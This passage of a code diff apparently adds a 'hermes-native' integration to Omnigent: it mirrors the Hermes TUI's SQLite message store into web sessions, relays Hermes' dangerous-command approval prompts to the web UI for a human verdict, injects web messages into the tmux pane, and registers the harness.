except (OSError, ValueError):
return _ForwardState()
sid = data.get("hermes_session_id")
last_id = data.get("last_id")
launch_epoch_s = data.get("launch_epoch_s")
heartbeat_ms = data.get("heartbeat_ms")
return _ForwardState(
hermes_session_id=sid if isinstance(sid, str) else None,
last_id=last_id if isinstance(last_id, int) else 0,
launch_epoch_s=float(launch_epoch_s) if isinstance(launch_epoch_s, (int, float)) else 0.0,
heartbeat_ms=heartbeat_ms if isinstance(heartbeat_ms, int) else 0,
)
def _write_state(bridge_dir: Path, state: _ForwardState) -> bool:
"""Atomically persist the forward cursor (tmp write + rename).
:returns: ``True`` on success. A failure is logged and returns ``False`` — the
in-memory cursor still guards against within-process re-posting.
"""
try:
bridge_dir.mkdir(parents=True, exist_ok=True)
tmp = bridge_dir / (_STATE_FILE + ".tmp")
tmp.write_text(
json.dumps(
{
"hermes_session_id": state.hermes_session_id,
"last_id": state.last_id,
"launch_epoch_s": state.launch_epoch_s,
# Stamp the heartbeat at persist time so every poll refreshes
# the session claim; a peer treats a claim older than
# ``_CLAIM_FRESH_MS`` as a dead session it may take over.
"heartbeat_ms": int(time.time() * 1000),
}
),
encoding="utf-8",
)
os.replace(tmp, bridge_dir / _STATE_FILE)
return True
except OSError:
_logger.warning(
"hermes forwarder could not persist state to %s", bridge_dir, exc_info=True
)
return False
def clear_hermes_bridge_state(bridge_dir: Path) -> None:
"""Remove the persisted forward cursor so a re-created terminal starts clean."""
with contextlib.suppress(OSError):
(bridge_dir / _STATE_FILE).unlink()
def _session_claimed_by_other(
bridge_dir: Path, hermes_session_id: str, my_launch_s: float
) -> bool:
"""Whether another LIVE session is already mirroring *hermes_session_id*.
Two hermes-native sessions launched in the same cwd can momentarily discover
the same newest ``sessions`` row before each binds its own — without this
guard both would mirror it into two conversations. A sibling bridge dir under
the same root claims the row when its persisted state names the same
``hermes_session_id`` with a heartbeat fresher than ``_CLAIM_FRESH_MS``. Ties
resolve toward the EARLIER-launched session (then the lexicographically smaller
bridge-dir name) for a deterministic, symmetric verdict.
:param bridge_dir: This session's bridge dir (its parent is the shared root).
:param hermes_session_id: The Hermes session id this session would mirror.
:param my_launch_s: This session's ``launch_epoch_s``.
:returns: ``True`` if a different live session owns the row.
"""
root = bridge_dir.parent
if not root.is_dir():
return False
now_ms = int(time.time() * 1000)
me = bridge_dir.name
for sibling in root.iterdir():
if sibling.name == me or not sibling.is_dir():
continue
other = _read_state(sibling)
if other.hermes_session_id != hermes_session_id:
continue
if now_ms - other.heartbeat_ms > _CLAIM_FRESH_MS:
continue # stale claim — the owning session is gone; ignore it
if other.launch_epoch_s < my_launch_s:
return True
if other.launch_epoch_s == my_launch_s and sibling.name < me:
return True
return False
def _connect_ro(db_path: Path) -> sqlite3.Connection | None:
"""Open *db_path* read-only in a way that reads the live WAL, or ``None``.
``mode=ro`` (not ``immutable=1``) so a live session's ``-wal`` sidecar is read
via the ``-shm``; a plain connection is the fallback for the rare window where
``-shm`` is momentarily absent. Only SELECTs are issued.
"""
for uri, kw in ((f"file:{db_path}?mode=ro", {"uri": True}), (str(db_path), {})):
try:
return sqlite3.connect(uri, timeout=5.0, **kw)
except sqlite3.Error:
continue
return None
def _discover_session_id(
db_path: Path,
workspace: str,
launch_epoch_s: float,
*,
excluded: frozenset[str] = frozenset(),
) -> str | None:
"""Return this terminal's Hermes ``sessions.id``, or ``None`` if not yet present.
Hermes can't be told its session id in advance, so we bind the newest session
created at/after this terminal's launch (minus a small skew). A row whose
``cwd`` matches the terminal's workspace wins outright (the reliable case); if
none match cwd we fall back to the newest qualifying row only when EXACTLY ONE
qualifies — never guessing among multiple, so a concurrent session in another
workspace can't be mirrored by mistake. Rows in *excluded* (already claimed by
a live sibling) are skipped.
:param db_path: The Hermes ``state.db`` to read.
:param workspace: The terminal's working directory (realpath-normalized).
:param launch_epoch_s: Wall-clock seconds when this terminal launched.
:param excluded: Hermes session ids already claimed by a live sibling.
:returns: The matching ``sessions.id``, or ``None``.
"""
con = _connect_ro(db_path)
if con is None:
return None
floor_s = launch_epoch_s - _DISCOVERY_SKEW_S
try:
rows = con.execute(
"SELECT id, cwd FROM sessions WHERE started_at >= ? ORDER BY started_at DESC",
(floor_s,),
).fetchall()
except sqlite3.Error as exc:
_warn_sqlite_once("session discovery", exc)
return None
finally:
con.close()
candidates = [
(sid, cwd) for sid, cwd in rows if isinstance(sid, str) and sid and sid not in excluded
]
# Reliable case: a row whose cwd matches the workspace. Newest (rows are
# already started_at DESC) wins.
for sid, cwd in candidates:
if isinstance(cwd, str) and cwd and _same_path(cwd, workspace):
return sid
# Fallback ONLY when Hermes recorded no cwd at all for any candidate (older
# builds / unusual backends): bind a lone candidate. We never bind a row whose
# cwd is a *different* real dir — unlike cursor's md5-hashed dirs, Hermes
# stores the plain path, so a cwd mismatch is a genuine "not my session".
if all(not (isinstance(cwd, str) and cwd) for _sid, cwd in candidates):
if len(candidates) == 1:
return candidates[0][0]
return None
def _same_path(a: str, b: str) -> bool:
"""Return whether two filesystem paths resolve to the same realpath."""
try:
return os.path.realpath(a) == os.path.realpath(b)
except OSError:
return a == b
@dataclass
class _MirrorItem:
"""One conversation item ready to POST, plus the message id that produced it."""
msg_id: int
item_type: str
item_data: dict[str, object]
response_id: str
def _message_to_item(
msg_id: int, role: object, content: object, agent_name: str
) -> _MirrorItem | None:
"""Convert one ``messages`` row to a mirror item, or ``None`` to skip it.
Hermes stores ``content`` as plain text (not JSON), so the body is used
directly after stripping bridge attachment markers.
"""
if not isinstance(role, str):
return None
text = ""
if isinstance(content, str):
text = _ATTACHMENT_MARKER_RE.sub("", content).strip()
response_id = f"hermes:{msg_id}"
if role == "user":
if not text:
return None
return _MirrorItem(
msg_id=msg_id,
item_type="message",
item_data={"role": "user", "content": [{"type": "input_text", "text": text}]},
response_id=response_id,
)
if role == "assistant":
if not text:
return None # tool-only / reasoning-only turn with no prose
return _MirrorItem(
msg_id=msg_id,
item_type="message",
item_data={
"role": "assistant",
"agent": agent_name,
"content": [{"type": "output_text", "text": text}],
},
response_id=response_id,
)
return None # tool / system / other scaffolding
def _read_new_items(
db_path: Path, hermes_session_id: str, last_id: int, agent_name: str
) -> list[_MirrorItem]:
"""Read ``messages`` rows with ``id > last_id`` for this session as items.
A skipped row (tool/system/empty/inactive) still advances the cursor via a
sentinel item so it is never reconsidered.
"""
con = _connect_ro(db_path)
if con is None:
return []
try:
rows = con.execute(
"SELECT id, role, content FROM messages "
"WHERE session_id = ? AND id > ? AND active = 1 ORDER BY id",
(hermes_session_id, last_id),
).fetchall()
except sqlite3.Error as exc:
_warn_sqlite_once("message read", exc)
return []
finally:
con.close()
items: list[_MirrorItem] = []
for msg_id, role, content in rows:
item = _message_to_item(msg_id, role, content, agent_name)
if item is not None:
items.append(item)
else:
items.append(_MirrorItem(msg_id=msg_id, item_type="", item_data={}, response_id=""))
return items
async def _post_conversation_item(
client: httpx.AsyncClient, *, session_id: str, item: _MirrorItem
) -> None:
"""POST one mirrored item as an ``external_conversation_item`` event."""
resp = await client.post(
f"/v1/sessions/{session_id}/events",
json={
"type": "external_conversation_item",
"data": {
"item_type": item.item_type,
"item_data": item.item_data,
"response_id": item.response_id,
},
},
)
resp.raise_for_status()
async def forward_hermes_store_to_session(
*,
base_url: str,
headers: dict[str, str],
session_id: str,
bridge_dir: Path,
agent_name: str,
workspace: str,
launch_epoch_s: float,
db_path: Path | None = None,
poll_interval_s: float = _DEFAULT_POLL_INTERVAL_S,
auth: httpx.Auth | None = None,
) -> None:
"""Tail Hermes' session store and mirror new messages into the AP session.
Discovers this session's Hermes ``sessions.id`` (newest row whose ``cwd``
matches *workspace* and ``started_at`` is at/after ``launch_epoch_s``), then
polls its ``messages`` rows, posting each new user/assistant row as an
``external_conversation_item``. The high-water ``id`` is persisted to
``bridge_dir`` so a supervisor restart resumes without re-posting.
:param base_url: Omnigent server base URL.
:param headers: Static HTTP headers (auth normally via ``auth``).
:param session_id: Omnigent session/conversation id.
:param bridge_dir: The hermes-native bridge dir (holds the persisted cursor).
:param agent_name: Agent label stamped on mirrored assistant items.
:param workspace: The session's working directory (Hermes' ``sessions.cwd``).
:param launch_epoch_s: Wall-clock seconds when this terminal launched.
:param db_path: Hermes state DB; defaults to :func:`default_state_db`.
:param poll_interval_s: Seconds between store polls.
:param auth: Optional refresh-capable httpx Auth for remote deployments.
:returns: Never normally returns; cancel the task to stop it.
"""
db = db_path or default_state_db()
persisted = _read_state(bridge_dir)
hermes_session_id: str | None = persisted.hermes_session_id
last_id = persisted.last_id if hermes_session_id is not None else 0
timeout = httpx.Timeout(_POST_TIMEOUT_S)
async with httpx.AsyncClient(
base_url=base_url, headers=headers, auth=auth, timeout=timeout
) as client:
while True:
try:
if hermes_session_id is None:
resolved = await asyncio.to_thread(
_discover_session_id, db, workspace, launch_epoch_s
)
if resolved is not None and not await asyncio.to_thread(
_session_claimed_by_other, bridge_dir, resolved, launch_epoch_s
):
hermes_session_id = resolved
last_id = (
persisted.last_id if persisted.hermes_session_id == resolved else 0
)
_write_state(
bridge_dir,
_ForwardState(
hermes_session_id=resolved,
last_id=last_id,
launch_epoch_s=launch_epoch_s,
),
)
if hermes_session_id is not None:
# Yield to an earlier-launched live session rather than mirror
# the same row into a second conversation; re-discover next poll.
if await asyncio.to_thread(
_session_claimed_by_other, bridge_dir, hermes_session_id, launch_epoch_s
):
_logger.warning(
"hermes session %s already mirrored by another session; "
"pausing mirror for session=%s",
hermes_session_id,
session_id,
)
hermes_session_id = None
else:
items = await asyncio.to_thread(
_read_new_items, db, hermes_session_id, last_id, agent_name
)
for item in items:
if item.item_type:
await _post_conversation_item(
client, session_id=session_id, item=item
)
last_id = item.msg_id
_write_state(
bridge_dir,
_ForwardState(
hermes_session_id=hermes_session_id,
last_id=last_id,
launch_epoch_s=launch_epoch_s,
),
)
# Refresh the claim heartbeat every poll (even with no new
# items) so an idle owner keeps its claim.
_write_state(
bridge_dir,
_ForwardState(
hermes_session_id=hermes_session_id,
last_id=last_id,
launch_epoch_s=launch_epoch_s,
),
)
except asyncio.CancelledError:
raise
except Exception:
_logger.exception(
"hermes forwarder poll failed; session=%s hermes_session=%s",
session_id,
hermes_session_id,
)
await asyncio.sleep(poll_interval_s)
def _supervisor_monotonic() -> float:
"""Indirection so tests can stub the supervisor's clock."""
return time.monotonic()
async def _supervisor_sleep(seconds: float) -> None:
"""Indirection so tests can stub the supervisor's backoff sleep."""
await asyncio.sleep(seconds)
async def supervise_hermes_forwarder(
*,
base_url: str,
headers: dict[str, str],
session_id: str,
bridge_dir: Path,
agent_name: str,
workspace: str,
launch_epoch_s: float,
db_path: Path | None = None,
poll_interval_s: float = _DEFAULT_POLL_INTERVAL_S,
auth: httpx.Auth | None = None,
) -> None:
"""Run :func:`forward_hermes_store_to_session` under a restart supervisor.
Mirrors :func:`omnigent.goose_native_forwarder.supervise_goose_forwarder`:
bounded exponential backoff, :class:`asyncio.CancelledError` propagates for
clean teardown, and the persisted ``id`` cursor means restarts resume exactly
where they left off.
:returns: Never normally returns; cancel the task to stop it.
"""
backoff_s = _SUPERVISOR_INITIAL_BACKOFF_S
while True:
run_started_at = _supervisor_monotonic()
crash_exc: Exception | None = None
try:
await forward_hermes_store_to_session(
base_url=base_url,
headers=headers,
session_id=session_id,
bridge_dir=bridge_dir,
agent_name=agent_name,
workspace=workspace,
launch_epoch_s=launch_epoch_s,
db_path=db_path,
poll_interval_s=poll_interval_s,
auth=auth,
)
_logger.warning(
"hermes forwarder returned unexpectedly; restarting; session=%s bridge_dir=%s",
session_id,
bridge_dir,
)
except asyncio.CancelledError:
raise
except Exception as exc: # noqa: BLE001 — supervisor restarts on any Exception
crash_exc = exc
if _supervisor_monotonic() - run_started_at >= _SUPERVISOR_HEALTHY_UPTIME_S:
backoff_s = _SUPERVISOR_INITIAL_BACKOFF_S
if crash_exc is not None:
_logger.error(
"hermes forwarder crashed; restarting in %.1fs; session=%s bridge_dir=%s",
backoff_s,
session_id,
bridge_dir,
exc_info=crash_exc,
)
await _supervisor_sleep(backoff_s)
backoff_s = min(backoff_s * 2.0, _SUPERVISOR_MAX_BACKOFF_S)
+295
View File
@@ -0,0 +1,295 @@
"""Hermes-native tool-approval mirror (TUI → web elicitation).
The native ``hermes`` TUI gates commands it flags as dangerous with an
in-terminal approval prompt (its own ``tools/approval.py`` gate). That prompt
lives only in the TUI; to also surface it in the Omnigent web UI (so a user can
approve from the chat view, not only the embedded terminal), the runner watches
the Hermes pane:
1. poll ``capture-pane`` and detect the approval PANEL — the interactive TUI
renders a prompt_toolkit panel titled ``⚠️ Dangerous Command`` with NUMBERED
choices (`` 1. Allow once`` … ``4. Deny``), NOT the legacy ``Choice
[o/s/a/D]:`` ``input()`` prompt (that path is fail-closed while prompt_toolkit
owns the terminal). Verified against hermes-agent ``cli.py``
``_get_approval_display_fragments`` + the number-key bindings,
2. POST it to the server's generic ``native-permission-request`` hook, which
publishes ``response.elicitation_request`` and parks for the web verdict,
3. on the verdict, send the choice's DIGIT key (e.g. ``1`` = Allow once, ``4`` =
Deny) into the pane — Hermes' number-key binding selects AND confirms in one
press,
4. if the panel instead disappears on its own (answered in the embedded
terminal), POST ``external_elicitation_resolved`` so the parked web card
clears.
This does NOT suppress Hermes' own gate — its panel stays the source of truth
and the fallback if pane detection ever fails (the user can still pick in the
terminal). Mirrors :mod:`omnigent.cursor_native_permissions`. NB: Hermes only
prompts for commands it flags *dangerous* (and may auto-approve low-risk ones via
smart-approval), so non-dangerous tools won't raise a card.
"""
from __future__ import annotations
import asyncio
import hashlib
import logging
import re
from dataclasses import dataclass
from pathlib import Path
import httpx
from omnigent.hermes_native_bridge import capture_hermes_pane, send_hermes_pane_keys
_logger = logging.getLogger(__name__)
_POLL_INTERVAL_S = 0.3
# The hook parks server-side until a human answers; allow a day so the runner's
# POST never abandons a live prompt.
_POST_TIMEOUT_S = 86400.0
# Hermes' interactive TUI renders the dangerous-command gate as a prompt_toolkit
# PANEL (cli.py ``_get_approval_display_fragments``), NOT the legacy ``input()``
# ``Choice [o/s/a/D]:`` prompt — that path is fail-closed while prompt_toolkit
# owns the terminal. The panel is titled ``⚠️ Dangerous Command`` and lists
# NUMBERED choices (`` 1. Allow once`` … ``4. Deny``); pressing the number both
# selects and confirms (cli.py number-key bindings call _handle_approval_selection).
# So we detect the panel by title + numbered choices and answer with the digit.
_TITLE_RE = re.compile(r"Dangerous Command", re.IGNORECASE)
# A numbered choice row, e.g. " 1. Allow once" / " 4. Deny" (box borders ignored).
_CHOICE_RE = re.compile(
r"(?P<num>\d)\.\s*(?P<label>Allow once|Allow for this session|"
r"Add to permanent allowlist|Deny)",
re.IGNORECASE,
)
@dataclass(frozen=True)
class HermesApprovalPrompt:
"""A parsed Hermes dangerous-command approval panel.
:param command: Best-effort command/description preview from the panel.
:param message: Human-readable card message.
:param preview: Compact preview for the card.
:param accept_key: digit key that selects+confirms "Allow once" (e.g. ``"1"``).
:param decline_key: digit key that selects+confirms "Deny" (e.g. ``"4"`` with
the permanent-allowlist option, else ``"3"``).
:param block_hash: Stable hash of the preview (kept for debugging/preview).
"""
command: str
message: str
preview: str
accept_key: str
decline_key: str
block_hash: str
def hermes_permission_elicitation_id(session_id: str, token: str) -> str:
"""Return the deterministic Omnigent elicitation id for a Hermes prompt.
*token* identifies one approval episode (a per-session counter), not the
scraped content, so a re-render never spawns a duplicate card.
"""
return f"elicit_hermes_{session_id}_{token}"
def _strip_border(line: str) -> str:
"""Strip the panel's box-drawing borders/padding from *line*."""
return line.strip().strip("").strip()
def parse_hermes_approval_prompt(pane: str) -> HermesApprovalPrompt | None:
"""Parse a Hermes ``⚠️ Dangerous Command`` approval panel from pane text.
Requires the panel title AND both an "Allow once" and a "Deny" numbered
choice (so a title lingering without the live choice list is not re-detected),
and reads the digit key for each from the panel itself — robust to whether the
permanent-allowlist option is offered (Deny is ``4`` with it, ``3`` without).
:param pane: Visible pane text from ``capture-pane -p``.
:returns: The parsed prompt, or ``None`` when no live panel is visible.
"""
if not pane or not _TITLE_RE.search(pane):
return None
lines = pane.splitlines()
label_to_key: dict[str, str] = {}
first_choice_idx: int | None = None
for i, line in enumerate(lines):
match = _CHOICE_RE.search(line)
if match:
label_to_key.setdefault(match.group("label").lower(), match.group("num"))
if first_choice_idx is None:
first_choice_idx = i
accept_key = label_to_key.get("allow once")
decline_key = label_to_key.get("deny")
if accept_key is None or decline_key is None or first_choice_idx is None:
return None
# Best-effort command/description preview: the panel lines between the title
# and the first choice, minus borders/blank/title lines.
title_idx = next((i for i, line in enumerate(lines) if _TITLE_RE.search(line)), 0)
preview_parts: list[str] = []
for line in lines[title_idx + 1 : first_choice_idx]:
text = _strip_border(line)
if text and not _TITLE_RE.search(text):
preview_parts.append(text)
preview = " ".join(preview_parts)[:1024]
block_hash = hashlib.sha256(preview.encode("utf-8")).hexdigest()[:16]
return HermesApprovalPrompt(
command=preview,
message="Hermes flagged a dangerous command. Run it?",
preview=preview or "dangerous command",
accept_key=accept_key,
decline_key=decline_key,
block_hash=block_hash,
)
async def supervise_hermes_approval_mirror(
*,
base_url: str,
headers: dict[str, str],
session_id: str,
bridge_dir: Path,
auth: httpx.Auth | None = None,
poll_interval_s: float = _POLL_INTERVAL_S,
) -> None:
"""Poll the Hermes pane and mirror its approval prompts to web elicitations.
Runs for the session's lifetime (cancelled on teardown). At most one prompt
is active at a time: a new block spawns a task that parks on the server and,
on the web verdict, sends the keystroke; a block that vanishes while still
parked means the user answered in the TUI, so the parked card is released.
:param base_url: Server base URL.
:param headers: Auth/routing headers for the runner's requests.
:param session_id: Omnigent conversation id.
:param bridge_dir: The hermes-native bridge dir holding ``tmux.json``.
:param auth: Optional httpx auth for the runner's requests.
:param poll_interval_s: Pane poll cadence in seconds.
"""
active: dict[str, object] | None = None
episode = 0
timeout = httpx.Timeout(_POST_TIMEOUT_S, connect=10.0)
async with httpx.AsyncClient(
base_url=base_url, headers=headers, auth=auth, timeout=timeout
) as client:
while True:
try:
pane = await asyncio.to_thread(capture_hermes_pane, bridge_dir)
prompt = parse_hermes_approval_prompt(pane) if pane else None
if prompt is not None:
# Rising edge only: ONE card per visible-prompt episode (do not
# re-mint while the prompt stays up).
if active is None:
episode += 1
elicitation_id = hermes_permission_elicitation_id(session_id, str(episode))
task = asyncio.create_task(
_run_one_approval(
client,
session_id=session_id,
bridge_dir=bridge_dir,
prompt=prompt,
elicitation_id=elicitation_id,
),
name=f"hermes-approval-{episode}",
)
active = {"elicitation_id": elicitation_id, "task": task}
elif active is not None:
# Falling edge: prompt vanished. Release the card if still
# parked (answered in the TUI); no-op if answered via the web.
task = active["task"]
if isinstance(task, asyncio.Task) and not task.done():
await _post_external_elicitation_resolved(
client, session_id, str(active["elicitation_id"])
)
active = None
except asyncio.CancelledError:
raise
except Exception:
_logger.exception(
"hermes approval mirror poll failed; session=%s bridge_dir=%s",
session_id,
bridge_dir,
)
await asyncio.sleep(poll_interval_s)
async def _run_one_approval(
client: httpx.AsyncClient,
*,
session_id: str,
bridge_dir: Path,
prompt: HermesApprovalPrompt,
elicitation_id: str,
) -> None:
"""Park one Hermes prompt on the server and send the verdict keystroke."""
payload = {
"elicitation_id": elicitation_id,
"agent": "Hermes",
"policy_name": "hermes_native_permission",
"operation_type": "shell",
"message": prompt.message,
"content_preview": prompt.preview,
}
try:
response = await client.post(
f"/v1/sessions/{session_id}/hooks/native-permission-request",
json=payload,
)
except httpx.HTTPError:
_logger.exception("hermes permission hook POST failed; session=%s", session_id)
return
if response.status_code >= 400:
_logger.warning(
"hermes permission hook rejected: status=%s body=%s",
response.status_code,
response.text[:512],
)
return
if not response.content:
# Empty 2xx → resolved elsewhere (TUI answered) or timeout: no keystroke.
return
try:
result = response.json()
except ValueError:
_logger.warning("hermes permission hook returned non-JSON: %s", response.text[:512])
return
action = result.get("action") if isinstance(result, dict) else None
key = None
if action == "accept":
key = prompt.accept_key
elif action in {"decline", "cancel"}:
key = prompt.decline_key
if key is None:
return
try:
await asyncio.to_thread(send_hermes_pane_keys, bridge_dir, key)
except RuntimeError:
_logger.exception(
"failed to send hermes approval keystroke %r; session=%s", key, session_id
)
async def _post_external_elicitation_resolved(
client: httpx.AsyncClient, session_id: str, elicitation_id: str
) -> None:
"""Tell the server the native TUI answered a pending Hermes prompt."""
try:
response = await client.post(
f"/v1/sessions/{session_id}/events",
json={
"type": "external_elicitation_resolved",
"data": {"elicitation_id": elicitation_id},
},
timeout=10.0,
)
if response.status_code >= 400:
_logger.warning(
"hermes external_elicitation_resolved rejected: status=%s body=%s",
response.status_code,
response.text[:512],
)
except httpx.HTTPError:
_logger.exception("hermes external_elicitation_resolved POST failed")
+140
View File
@@ -0,0 +1,140 @@
"""Executor that bridges Omnigent web-chat turns into the native Hermes TUI.
It does not launch ``hermes`` — the ``omnigent hermes`` wrapper already launched
the interactive ``hermes`` TUI in the session terminal. Each web-UI turn injects
the latest user message into that same tmux pane (bracketed paste + Enter), so the
message appears in the running Hermes TUI (and, since the web UI embeds the pane,
in both surfaces). Output is terminal-originated; the embedded terminal renders it
live and the forwarder mirrors the transcript. Mirrors
:class:`omnigent.inner.goose_native_executor.GooseNativeExecutor`.
"""
from __future__ import annotations
import asyncio
import logging
import os
from collections.abc import AsyncIterator
from pathlib import Path
from typing import Any
from omnigent.hermes_native_bridge import BRIDGE_DIR_ENV_VAR, inject_user_message
from omnigent.inner.executor import (
Executor,
ExecutorConfig,
ExecutorError,
ExecutorEvent,
Message,
ToolSpec,
TurnComplete,
)
logger = logging.getLogger(__name__)
class HermesNativeExecutor(Executor):
"""Harness-side executor for ``omnigent hermes`` web-UI turns.
Injects each web-UI message into the running Hermes TUI's tmux pane. Does not
stream output (the embedded terminal shows it); accepts mid-turn steering.
:param bridge_dir: Optional bridge dir override; ``None`` reads
:data:`BRIDGE_DIR_ENV_VAR` from the harness spawn env.
"""
def __init__(self, bridge_dir: Path | None = None) -> None:
self._bridge_dir = bridge_dir or _bridge_dir_from_env()
# Serializes writes to the shared tmux pane: run_turn (initiating
# message) and enqueue_session_message (steering) run concurrently
# against one cached executor, and injection is multi-step (clear +
# paste + Enter) — without the lock their keystrokes interleave.
self._inject_lock = asyncio.Lock()
def supports_streaming(self) -> bool:
""":returns: ``False`` — output is shown by the embedded terminal, not this executor."""
return False
def supports_live_message_queue(self) -> bool:
""":returns: ``True`` — messages can be injected mid-turn (steering)."""
return True
async def enqueue_session_message(self, session_key: str, content: Any) -> bool:
"""Inject a live steering message into the Hermes terminal."""
del session_key
text = _content_to_text(content, self._bridge_dir)
if not text:
return False
try:
async with self._inject_lock:
await asyncio.to_thread(inject_user_message, self._bridge_dir, content=text)
except RuntimeError:
return False
return True
async def run_turn(
self,
messages: list[Message],
tools: list[ToolSpec],
system_prompt: str,
config: ExecutorConfig | None = None,
) -> AsyncIterator[ExecutorEvent]:
"""Inject the latest web-UI user message into the Hermes TUI pane."""
del tools, system_prompt, config
text = _latest_user_text(messages, self._bridge_dir)
if not text:
yield ExecutorError(message="hermes native turn had no user text to send")
return
try:
async with self._inject_lock:
await asyncio.to_thread(inject_user_message, self._bridge_dir, content=text)
except RuntimeError as exc:
yield ExecutorError(message=str(exc))
return
yield TurnComplete(response=None)
def _bridge_dir_from_env() -> Path:
"""Resolve the hermes-native bridge dir from the harness spawn env."""
raw = os.environ.get(BRIDGE_DIR_ENV_VAR, "").strip()
if not raw:
raise RuntimeError(f"{BRIDGE_DIR_ENV_VAR} is required for the hermes-native harness")
return Path(raw)
def _latest_user_text(messages: list[Message], bridge_dir: Path) -> str:
"""Return the latest user message's text (attachments materialized to disk)."""
for message in reversed(messages):
if message.get("role") == "user":
return _content_to_text(message.get("content"), bridge_dir)
return ""
def _content_to_text(content: Any, bridge_dir: Path) -> str:
"""Normalize executor content into text the Hermes TUI receives.
Text blocks are extracted directly. Image/file blocks carrying a base64 data
URI are materialized to the bridge dir and referenced by absolute path
(``[Attached: <path>]``) so Hermes can open them with its tools — otherwise
web-UI attachments are silently dropped. Mirrors goose-/cursor-native.
"""
if isinstance(content, str):
return content
if isinstance(content, list):
from omnigent.inner.native_attachments import materialize_attachment
attachment_lines: list[str] = []
text_parts: list[str] = []
for block in content:
if not isinstance(block, dict):
continue
block_type = block.get("type", "")
if block_type in ("input_text", "text"):
text = block.get("text")
if isinstance(text, str):
text_parts.append(text)
elif block_type in ("input_image", "input_file"):
path = materialize_attachment(block, bridge_dir)
if path is not None:
attachment_lines.append(f"[Attached: {path}]")
return "\n\n".join(attachment_lines + text_parts)
return ""
+37
View File
@@ -0,0 +1,37 @@
"""``harness: hermes-native`` wrap (the native Hermes TUI).
Thin module exposing :func:`create_app` — the entry point the shared
:mod:`omnigent.runtime.harnesses._runner` invokes after the parent process
resolves ``"hermes-native"`` to this module via
:data:`omnigent.runtime.harnesses._HARNESS_MODULES`.
Wraps a :class:`omnigent.inner.hermes_native_executor.HermesNativeExecutor`, which
injects web-UI messages into the running ``hermes`` TUI (launched by
``omnigent hermes`` in the session terminal) via tmux. The bridge dir is read from
:data:`~omnigent.hermes_native_bridge.BRIDGE_DIR_ENV_VAR` in the spawn env.
Tool policies: Omnigent's PreToolUse/PostToolUse policy gates (which the headless
``hermes`` harness enforces via Hermes' ``pre_tool_call`` shell hook) do NOT apply
to hermes-native — ``hermes`` runs its tools inside its own TUI and gates them with
its own in-terminal approval prompts, which Omnigent does not intercept. Treat the
Hermes TUI's own approval as the sole tool gate (same stance as goose-native).
"""
from __future__ import annotations
from fastapi import FastAPI
from omnigent.inner.executor import Executor
from omnigent.inner.hermes_native_executor import HermesNativeExecutor
from omnigent.runtime.harnesses._executor_adapter import ExecutorAdapter
def _build_hermes_native_executor() -> Executor:
"""Construct a :class:`HermesNativeExecutor` (reads the bridge dir from env)."""
return HermesNativeExecutor()
def create_app() -> FastAPI:
"""Build the hermes-native harness's FastAPI app (required entry point)."""
adapter = ExecutorAdapter(executor_factory=_build_hermes_native_executor)
return adapter.build()
+11
View File
@@ -10,6 +10,7 @@ from omnigent._wrapper_labels import (
CODEX_NATIVE_WRAPPER_VALUE,
CURSOR_NATIVE_WRAPPER_VALUE,
GOOSE_NATIVE_WRAPPER_VALUE,
HERMES_NATIVE_WRAPPER_VALUE,
OPENCODE_NATIVE_WRAPPER_VALUE,
PI_NATIVE_WRAPPER_VALUE,
QWEN_NATIVE_WRAPPER_VALUE,
@@ -115,6 +116,15 @@ QWEN_NATIVE_CODING_AGENT = NativeCodingAgent(
terminal_name="qwen",
)
HERMES_NATIVE_CODING_AGENT = NativeCodingAgent(
key="hermes",
display_name="Hermes",
agent_name="hermes-native-ui",
harness="hermes-native",
wrapper_label=HERMES_NATIVE_WRAPPER_VALUE,
terminal_name="hermes",
)
NATIVE_CODING_AGENTS: tuple[NativeCodingAgent, ...] = (
CLAUDE_NATIVE_CODING_AGENT,
CODEX_NATIVE_CODING_AGENT,
@@ -124,6 +134,7 @@ NATIVE_CODING_AGENTS: tuple[NativeCodingAgent, ...] = (
GOOSE_NATIVE_CODING_AGENT,
ANTIGRAVITY_NATIVE_CODING_AGENT,
QWEN_NATIVE_CODING_AGENT,
HERMES_NATIVE_CODING_AGENT,
)
_BY_AGENT_NAME = {agent.agent_name: agent for agent in NATIVE_CODING_AGENTS}
+5
View File
@@ -260,6 +260,11 @@ _HARNESS_NAME_TO_KEY: dict[str, str] = {
"native-opencode": OPENCODE_KEY,
# Hermes Agent (``harness: hermes``) wraps the ``hermes`` CLI.
HERMES_KEY: HERMES_KEY,
# Native Hermes TUI (``hermes-native``, via ``omni hermes``) wraps the same
# ``hermes`` CLI as the headless harness; ``native-hermes`` reversed spelling
# gates on the same binary.
"hermes-native": HERMES_KEY,
"native-hermes": HERMES_KEY,
}
+13 -4
View File
@@ -96,6 +96,12 @@ _CURSOR_NATIVE_HARNESSES: frozenset[str] = frozenset({"cursor-native", "native-c
# there is no SDK variant or key to gate on.
_GOOSE_NATIVE_HARNESSES: frozenset[str] = frozenset({"goose-native", "native-goose"})
# Native Hermes harnesses. Boot the ``hermes`` TUI (``omni hermes``) and can't
# launch without the ``hermes`` binary on ``PATH`` — gate on it, like the other
# native CLI harnesses. Hermes owns its own auth (``hermes setup`` /
# ``hermes model``); the headless ``hermes`` harness gates on the same binary.
_HERMES_NATIVE_HARNESSES: frozenset[str] = frozenset({"hermes-native", "native-hermes"})
# CLI-wrapping qwen harnesses. ``qwen`` / ``qwen-code`` (the ACP harness) and
# ``qwen-native`` / ``native-qwen`` (the native TUI via ``omni qwen``) all resolve
# to the same ``qwen`` binary (canonicalize_harness folds ``qwen-code`` → ``qwen``
@@ -173,10 +179,12 @@ def harness_is_configured(harness: str) -> bool:
# Auth/provider state surfaces at run time via Goose's own config; the
# daemon gates only on binary presence.
return harness_cli_installed(GOOSE_KEY)
if canonical == HERMES_KEY:
# Hermes wraps the ``hermes`` CLI (installed via a curl script from
# Nous Research). Auth/provider config surfaces at run time via
# Hermes' own ``hermes model`` flow; gate only on binary presence.
if canonical in _HERMES_NATIVE_HARNESSES or canonical == HERMES_KEY:
# Hermes — both the native TUI (``hermes-native`` / ``native-hermes``,
# via ``omni hermes``) and the headless subprocess harness (``hermes``)
# — wraps the ``hermes`` CLI (installed via a curl script from Nous
# Research). Auth/provider config surfaces at run time via Hermes' own
# ``hermes model`` flow; gate only on binary presence.
return harness_cli_installed(HERMES_KEY)
if canonical == CURSOR_KEY:
# Cursor runs in-process via ``cursor-sdk`` and authenticates with a
@@ -254,6 +262,7 @@ def configured_harness_map() -> dict[str, bool]:
spellings.update(_OPENCODE_HARNESSES)
spellings.update(_CURSOR_NATIVE_HARNESSES)
spellings.update(_GOOSE_NATIVE_HARNESSES)
